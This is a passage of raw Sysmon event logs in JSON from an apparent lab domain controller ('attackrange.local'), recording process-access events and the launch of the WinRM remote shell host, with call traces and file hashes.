11:56:33.728","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.733\r\nProcessGuid: {90617006-4171-5F2D-0000-0010707D0800}\r\nProcessId: 3144\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.733","ProcessGuid":"{90617006-4171-5F2D-0000-0010707D0800}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010707D0800}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010707D0800}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010707D0800}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010707D0800}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5615,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 